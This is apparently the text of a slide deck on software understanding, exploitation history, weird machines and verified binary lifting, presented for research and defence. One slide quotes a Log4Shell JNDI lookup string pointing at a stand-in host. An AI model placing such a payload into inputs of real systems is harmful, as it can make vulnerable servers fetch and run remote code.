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What is Software Understanding?
“What are these new fancy words and why should we care?”

“Our ability to build software far exceeds our ability to 
understand it” 


Consequences: 


• The essence of strategic contest in cyber is 
software understanding


• Everyone needs tools to get critical software into 
“understood” states and keep it there

January 2025



Understanding the Gap  
   through exploitation



Non-understanding == exploitability
ShellShock (2014); 
Log4Shell (2021) 

• From untrusted request to 
parse_and_execute  
via HTTP, DHCP, SSH 
servers and clients 

• From HTTP request to 
JNDI, LDAP, other fetch-
and-load-object engines 
 
${jndi:ldap://
example.com/file}

JBIG2 weird machine 
in iMessage (2021)

Copy.Fail & page-cache logic 
flaw follow-ons (2026) 

• Logic bugs crossing many Linux 
subsystems


• Deterministic, immune to all 
randomized mitigations


• AI-assisted, given a theory of 
page-cache system insecurity

PDF masquerades as an emoji,  
get rendered 



Understanding is lifting to abstractions
• What’s the actual architecture of my software?


• Exposed shells and command processors: ShellShock, Log4Shell, …


• What are my actual interfaces, inputs, and parsers? 


• Is this an emoji or a PDF? How many parsers do I have?


• What does this code’s programmable (memory, cache, …) footprint look like? 


• Is this a shell/processor/linker that doesn’t quite look like a shell or linker?


• Is this cache mixing objects from too many subsystems? (Cf. Copy.Fail ++) 



Evolution of exploitation concepts

1990s External malicious code must be brought  
onto the target and mistakenly executed

Concept LearningsDefenses 

Detect malicious code in transit,  
prevent execution

Payloads that don’t need   
any code emerge

(ca. early 2000s)

Era of “Antivirus” and Intrusion Detection/Intrusion Prevention Systems (IDS/IPS)
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Evolution of exploitation concepts

1990s

2000s

2010s-now

External malicious code must be brought  
onto the target and mistakenly executed

Concept LearningsDefenses 

Detect malicious code in transit,  
prevent execution

Payloads that don’t need   
any code emerge

(ca. early 2000s)

Chains of bugs: Unintended effects of bugs  
(“primitives”) are generalized into patterns  

(“techniques”) triggered sequentially or (less often)  
concurrently. Exploits are reliable compositions  

of primitives and techniques. 

Instrument code to catch  
anomalous effects, disrupt their  
composition with randomness;  

sandbox code with abundant bugs  
(e.g., parsers, codecs, drivers) 

Techniques start leveraging  
intermediate abstractions 
of target code, legitimate 

sandbox interfaces &  
contexts

Era of “Antivirus” and Intrusion Detection/Intrusion Prevention Systems (IDS/IPS)

Era of Fuzzing, Sanitizers, Sandboxes, Randomization 

Weird machines: Attackers co-opt large parts of  
target’ own bug-free code to act on subtle corruptions  

of complex data structures and state.  
Target’s own logic is repurposed to create  

exploit execution engines (“weird machines”)  
that don’t exhibit easily detectable anomalies,  

primitives, or technique tell-tales.   

Denying weird machines  
via mechanized modeling  
of architecture, interfaces,  
and emergent properties  

of intermediate abstraction  
layers. Ongoing research.  

Random (“fuzzing”) finding  
of bugs and primitives,  
artisanal distillation of  

techniques, and bespoke  
mitigations are obsolete.  

Weird machine exploit chains  
of “impossible” complexity  

are already in the wild.

Era of Weird Machines; Effective defenses are DARPA-hard, TBD 
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“What are my shells and other command engines?”
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Functional correctness specifications, with proofs of 
security against well-defined threat models (Semi-automatic) tools to produce and validate proofs
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Lightweight formal methods envelope suitable for most projects/programs



L1: Get the true-to-life building plans
A foundation for all other assurance arguments

• Goal: Prove that the code is faithful to this machine-readable architecture


• Artifacts: Faithful mechanized architecture definition in SysML v2/AADL, with 
semantic and interface-defining extensions


• Tools: recovery and verification of machine-readable architecture descriptions


• Foundation for: interface analysis, data ingest safety analyses, separation 
and isolation analyses, mission analysis


• ZeroTrust done right (see also L2)



L2: Lock the front door, and all doors
Mechanized description of inputs unlocks systems capabilities 

• Goal: Prove that effects of all inputs are understood, all relevant data can be 
ingested safely, and all inter-module communications can be verified


• Artifacts: Mechanized definitions of valid/expected input data at each 
interface defined by the architectural model of L1


• Tools: Automatic generators of assured code for safe data ingest, monitoring 
and filtering of inter-module communications


• Reaching goal: Recovery of actual input data format validity assumptions


• Foundation for: bit-level ZeroTrust, memory safety analyses, L4 and L5 
analyses (functional correctness spec depends on input data spec).



L3: No data corruption, no data leakage 
Table stakes for module internals once the front door is locked

• Goal: Show that the data remains as expected [by the relevant code] once checked 
on ingest. Show that no data is accessed out of turn


• Artifacts: Annotation of intended data references. Accomplished implicitly in Rust, 
explicitly in CHERI-C, data-centric program logics.


• Tools: Compilers incorporating program logics, equivalent code annotations.


• Foundations for: higher-order L4 program properties driven by inputs.


• Caveat: must leverage L1 and L2 for explicit definitions of data-level assumptions


• Memory-safe cloud code is vulnerable to string-rewriting command/request/token/
SQL/… “smuggling” attacks—leaking data between customer/intended contexts



Input-related 1st class challenges
RE and vulnerability analysis meet verification 

At the communication boundary:  

• Recover actual grammar for input accepted at an interface


• Intervention: describe effect of unexpected inputs


• Counterfactual: infer a “safe subset” that can be proven so 

Inside a module: 

• Modules are often specialized from general-purpose command engines/shells


• Describe effects of unintended language extension/insertion (e.g., “smuggling”)  


• Counterfactual: design a safe subset to ensure only intended commands can run



How do we make all these tools?



Understanding is lifting to abstractions
• What’s the actual architecture of my software?


• Exposed shells and command processors: ShellShock, Log4Shell, …


• What are my actual interfaces, inputs, and parsers? 


• Is this an emoji or a PDF? How many parsers do I have?


• What does this code’s programmable (memory, cache, …) footprint look like? 


• Is this a shell/processor/linker that doesn’t quite look like a shell or linker?


• Is this cache mixing objects from too many subsystems? (Cf. Copy.Fail ++) 

Each example is lifting to a hierarchy of intermediate abstractions 



The Exploit Engineering Z
A cousin of the Engineering V

Emergent behaviors Target exploitation/exploitability

Lifting to intermediate 
abstractions  

Understanding emergent behaviors

Reasoning about abstraction 
leaks, “what-if” interventions &  

counterfactuals 
Resilient use and mitigation 

of emergent behaviors  

V gets systems to reliably do what’s intended. 

Z gets systems to reliably do what’s not intended.  



Common theme of Software Understanding
“Lifting to mechanized abstractions”

From discussion with Dr. Cristina Cifuentes



Lifting to intermediate representations

Mechanized reasoning & transformation

Emergent execution in unintended conditions



Software Understanding components

Reverse 
Engineering 

Vulnerability 
Research 

Program 
Analysis

Formal

Verification

Prediction of

emergent  

abstractions  
and behaviors

Expression of

intended 

abstractions 
and behaviors 

Bottom-up

Understanding

Top-down

Understanding



Emergent execution 
breakthrough: history & nature



Emergent behaviors abstract & generalize 
Exploit primitives are resilient & compose because they’re abstractions



Understanding intermediate abstractions—with Phrack
A Back to the future trip to the 1990s, with 20/20 hindsight

• Phrack led in the art of understanding intermediate 
abstractions and their un-anticipated re-programming


• Call stacks as programmable automata (Aleph1, 
mayhem, Nergal, …)


• Binary objects as programs on loaders (Silvio, klog, 
rix, T. Durden, …)


• Heaps as programs on heap managers (MaXX, 
anonymous, argp & huku, …)


• Many more below-source yet robust abstractions  



Exploitation = reprogramming intermediate abstractions
“Exploit is the best certificate of understanding”

• All of these layers have intended automata 
that work on internal data structures


• Version and compilation-stable, mostly


• All of these layers offer primitives


• Pieces of intended automata & their 
unintended effects


• These primitives (re)compose into 
unintended machines

CPU ISA/Assembly poetry

Microarchitecture

ABIs, OS binary conventions

Runtime: heaps, vtbls, signals

Integration: loaders, ELF, DWARF

Application-specific data structs

Compiler conventions, UB

Distributed system conventions



Recon.cx  
20+ years of curated software understanding



From ABOs to primitives to weird machines
Primitives = reliably reprogrammable intermediate abstractions

In 7-8 more years, we’ll know this as Return 
Oriented Programming (ROP),  
Jump Oriented Programming (JOP),  
and many other kinds of *OP 

https://seclists.org/bugtraq/2000/Nov/32

Then 2002 “About Exploits Writing” set out 

the vision of primitives (composable flaws) 
https://www.coresecurity.com/sites/default/files/private-files/publications/2016/05/ 

2002.gera_.About_Exploits_Writing.pdf



Spectre births weird machines, too
• Modern CPU optimization layers 

contain enough shared state and 
logic to form a transient, mostly 
unobservable  emergent computing/
execution environment


• Interactions between different CPU 
optimizations’ internal states can 
serve as logical gates and circuits 
adding up to a virtual CPU

• Programmed by seemingly meaningless 

series of memory reads and writes


• Results are read off as timings of races

NDSS 2019

ASPLOS 2021, Distinguished paper



Lifting right, to the right 
representations

Wild intractable and/or undecidable problems appear



Exploitation = proofs + programming
Exploits are proofs, exploitation is verification

“Verification .. becomes finding a program path [with] the exploitability property”



Automated Exploitation Grand Challenge 
Julien Vanegue’s AEG Grand Challenge Problems 

https://openwall.info/wiki/_media/people/jvanegue/files/aegc_vanegue.pdf

https://openwall.info/wiki/_media/people/jvanegue/files/aegc_vanegue.pdf
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Software understanding: the synthesis

Key similarity Key difference Formalisms/
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reasoning through multiple 
layers/refinement 

What-if reasoning
Adversarial logics 
(Logics of emergent 

behaviors)
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Software understanding: the synthesis
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Verification
Refinement: Full stack 

reasoning through multiple 
layers/refinement 

What-if reasoning
Adversarial logics 
(Logics of emergent 

behaviors)

Vulnerability research Reasoning about violation of 
expectations/preconditions

Counterfactual reasoning

(Is there a version/subset 

that’s secure/safe?)

Weird machines 
(Models of emergent 

computation)

RE
Bottom-up inference, 

reconstruction of 
intermediate abstractions

Modeling abstraction leaks

(What the implementation or 
abstraction should’ve been?) 

Instrumentation of typed 
intermediate abstractions,


Multi-level observations

Program analysis Automated reasoning
Custom DSLs/DSMLs,


Higher rungs of abstraction 
ladder 

IRs as first-class, algebraic; 
towers/lattices of IRs



Software Understanding challenges vs Causality Hierarchy

Causality rungs 
(Cf. Judea Pearl)

Techniques & 1st class 
challenges Examples

Association 
From known inputs to 

outputs

Driving to cover most 
space & behaviors: 

fuzzing, partial evaluation 
(cf. SymCC, SymQemu)

Harnesses & corpora for fuzzing to 
cover input space and behaviors;  
Deep Learning pattern matching

“On Pearl’s Hierarchy and the Foundations of Causal Inference”, Elias Bareinboim et al., Columbia R-60, 2021

Popular interpretation: “Shannon Got AI This Far. Kolmogorov Shows Where It Stops”, Vishal Misra, 2026 
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Software Understanding challenges vs Causality Hierarchy

Causality rungs 
(Cf. Judea Pearl)

Techniques & 1st class 
challenges Examples

Association 
From known inputs to 

outputs

Driving to cover most 
space & behaviors: 

fuzzing, partial evaluation 
(cf. SymCC, SymQemu)

Harnesses & corpora for fuzzing to 
cover input space and behaviors;  
Deep Learning pattern matching

Intervention 
What-if reasoning with  

never-seen inputs

Relational reasoning 
re source or binary 

changes

Assurance that patch doesn’t 
affect baseline functionality,  

by enumerating its path effects

Counterfactual 
From anomalies to 

predictive theories

Weird machines,

Safe subsetting,


Analysis-custom IRs;

Effective mitigations

Object models + adversarial logics 
to describe exploit patterns. 

E.g., Copy.Fail AI-assisted analysis 

“On Pearl’s Hierarchy and the Foundations of Causal Inference”, Elias Bareinboim et al., Columbia R-60, 2021

Popular interpretation: “Shannon Got AI This Far. Kolmogorov Shows Where It Stops”, Vishal Misra, 2026 



New first-class challenges

Make lifting formal and trustworthy




Many liftings, each for its own analysis or transform
Towers or lattices of IRs, to order

Binary

Symbolized

Disasm

Domain-specific

MLIR dialect

Architecture/

interface 

analysis

Changed / instrumented binary

Post-compilation 

Transformations 

Micro-patching

Hooking, instrumentation, refactoring 



Recompilable/patchable/verifiable IRs
Recompilable disassembly with proofs 



Lifting x86-64 to symbolized NASM

• It is possible to lift a class of binaries to assembly that is recompileable, 
patchable (i.e., amenable for transformations), and (formally) provably 
observationally equivalent 


• This can be done for unverified decompilers and recompilers 


• Assembly that enables this is full symbolization: no real memory 
addresses


• The price that you have to pay is position-dependence: the binaries must be 
position-independent (which enables symbolization with relative ease).



Formally verified lifting of C-compiled binaries

• It is possible to lift off-the-shelf binaries to 
high level, over-approximative models and 
reason about security properties at scale


• 400-500K instruction range, largest to date 


• A "sweet spot”, accurate enough for a class 
of memory safety properties while scaling 
linearly to #instructions—by skipping over 
program states that don't add any useful 
information for properties of interest. 


• Over-approximative models enable reasoning 
with completeness: formally, using provers.



Bottom-up verification
Lifting from a sound foundation



Making hard CS problems less hard
A little bit of specifying intent goes a long way

• RE is fundamentally 
undecidable, but disassembly 
doesn’t need to be!


• Extending ELF looks promising, 
with reasonable tradeoffs


• From intractable to tractable, 
with a combination of lowering 
and lifting.



Making disassembly decidable with ELF

https://www.ssrg.ece.vt.edu/papers/eurollvm26.pdf



Making disassembly decidable with ELF



Formally verified lifting of C-compiled binaries

Source code available at  https://doi.org/10.5281/zenodo.6330573



Lifting gets CVEs that fuzzing misses
50+ new CVEs in network protocols via lifting to DSLs



Codebases chosen by 
recent activity, 
presence of fuzzing 
harness 

50+ new CVEs claimed



Binary-aware re-compilation 



Binary-aware composition

• Glue code of safe 
languages is itself a 
rich target & source 
of emergent 
behaviors


• Composition & ABI 
mechanisms must be 
verified as rigorously 
as ‘safe’ code


• Bottom-up analysis 
of  glue/composition  
mechanisms is vital



Cross-Language Attacks, NDSS 2022



Cross-Language Attacks, Mergendahl et al.



SU Past, Present, and Future

• The Past: From Phrack to CS and back to the future 


• The Present: Lifting and tower-of-IRs metadata


• The Future: Running with the Red Queen for SU


• Tackling the Tool Treadmills 


• Keeping up with the compilers 


• Dealing with the tectonic drift

Compilers & OS runtime / CPU

Tracers and debuggers

Software understanding tools

“The floor is lava”



Running with the Red Queen

• Katana: ELF/DWARF rewriting tool, 
from 2010 


• VAST/Multiplier: multi-level program 
analysis (cf. MLIR), from 2021


• Tower of IRs, dependent on LLVM



Software Understanding is a race track
Expressions of abstractions are subject to tectonic drift

Compilers & OS runtime / CPU

Tracers and debuggers

Software understanding tools

Hardware drift is inevitable,

compilers move to match

Expressions of basic abstractions change

(functions, ABI, threads, etc.)

Expressions of higher abstractions & intent 
are gathered in this layer 



Software Understanding is a race track
Expressions of abstractions are subject to tectonic drift

Compilers & OS runtime / CPU

Tracers and debuggers

Software understanding tools

Hardware drift is inevitable,

compilers move to match

Expressions of basic abstractions change

(functions, ABI, threads, etc.)

Expressions of higher abstractions & intent 
are gathered in this layer 

We need to define what sustained success looks like 



In Memoriam Felix ‘FX’ Lindner
A pioneer of Software Understanding



Thank you

Special thanks to Cristina Cifuentes and Rodrigo Branco for discussion 



Thank you


